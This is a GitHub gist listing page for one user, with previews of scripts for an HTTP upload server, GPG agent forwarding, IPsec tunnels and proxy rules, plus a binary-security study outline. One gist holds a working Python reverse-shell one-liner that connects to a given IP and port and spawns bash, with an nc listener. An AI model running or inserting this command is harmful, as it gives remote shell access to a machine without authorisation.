Skip to content

Instantly share code, notes, and snippets.

View coconut49's full-sized avatar
🐰
Focusing

49 coconut49

🐰
Focusing
View GitHub Profile
@coconut49
coconut49 / SimpleHTTPServerWithUpload.py
Created September 9, 2018 09:54 — forked from UniIsland/SimpleHTTPServerWithUpload.py
Simple Python Http Server with Upload
#!/usr/bin/env python
"""Simple HTTP Server With Upload.
This module builds on BaseHTTPServer by implementing the standard GET
and HEAD requests in a fairly straightforward manner.
"""
@coconut49
coconut49 / gpg-agent-forward.sh
Created May 15, 2017 07:10 — forked from dtaylor84/gpg-agent-forward.sh
Cygwin GPG Agent Forwarding Script (for use with Gpg4Win 3, requires openssh and ssh-pageant)
#!/bin/bash -e
remote="$1@$2"
echo -ne '\e]0;wait... '"$remote"'\a'
eval $(/usr/bin/ssh-pageant -r -a "/tmp/.ssh-pageant-$USERNAME")
localdir="$(cygpath -u "$APPDATA")/gnupg"
extrasock="$localdir/S.gpg-agent.extra" # file containing "PORT\nNONCE"
rdir='$HOME/.gnupg' # remote prefix
rinsock="$rdir/S.gpg-agent" # listen on this socket on server
@coconut49
coconut49 / ipsecctl
Last active February 6, 2017 16:13 — forked from shankerwangmiao/ipsecctl
微小改动坏人 ipsecctl 使用 gretap 替代 ipip
#!/bin/bash
function load_var {
eval $(cat ${1} <( echo -e '\nset -o posix;set\n') | env - bash --noprofile --norc --posix | sed 's/^/'$2'_/')
if [ -n "$IF_IPSEC6" ]; then
PEER_ENDPOINT=$PEER_ENDPOINT6
SELF_ENDPOINT=$SELF_ENDPOINT6
fi
}
#!/bin/bash
function gen {
dd if=/dev/urandom bs=1 count=10000 2>/dev/null | tr -dc a-f0-9 | fold -w $1 | sed 's/^/0x/' | head -n 1
}
spi=`gen 8`
reqid=`gen 8`
auth_key=`gen 64`
enc_key=`gen 64`
@coconut49
coconut49 / 0_reuse_code.js
Created November 3, 2016 05:29
Here are some things you can do with Gists in GistBox.
// Use Gists to store code you would like to remember later on
console.log(window); // log the "window" object to the console
@coconut49
coconut49 / unicode_escape.py
Created September 9, 2016 07:39 — forked from omsobliga/unicode_escape.py
Python 在什么情况下会输出 Unicode 字符串
#!/usr/bin/env python
# -*- coding: utf-8 -*-
""" 测试 Python 在什么情况下会输出 Unicode 字符串
需要首先理解在 Python 中 Unicode 类型和 Unicode 字符串指的不是同一个东西。
Unicode 字符串是 str 类型,但它的值的表现形式是 Unicode 编码形式。
"""
def printt(str):

如何在路由器中实现透明代理?

0 互联网现状

目前整个互联网环境,被破坏最严重地部分,是 Web 服务体验。当直接破坏难以实现时,就会从流程链的上下游着手,如:DNS 污染。

其它地互联网服务类型,例如:邮件,可能小部分会受到 Web 服务上下游破坏地余震,但整体上基本不受影响。

[Proxy]
WIFI = direct, interface=en2
VPN = direct, interface=utun0
[Rule]
DOMAIN-SUFFIX,yach.me,WIFI
FINAL,VPN
# http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
# on the CLIENT, run the following:
# nc -l 12345
# on the SERVER, start the "reverse shell"
python -c "import sys,socket,os,pty; _,ip,port=sys.argv; s=socket.socket(); s.connect((ip,int(port))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn('/bin/bash')" 192.168.2.176 12345
# now go to the CLIENT, listen on port 12345 for incoming shell connections
nc -l 12345
@coconut49
coconut49 / binary.md
Last active August 29, 2015 14:25
0xFA

binary 方向

基础

  • python
  • 常见工具的使用(ida,od,windbg,gdb)
  • win32编程(其他平台类推)
  • c与汇编指令的对应
  • c语言
  • 常见汇编指令(其他平台类推)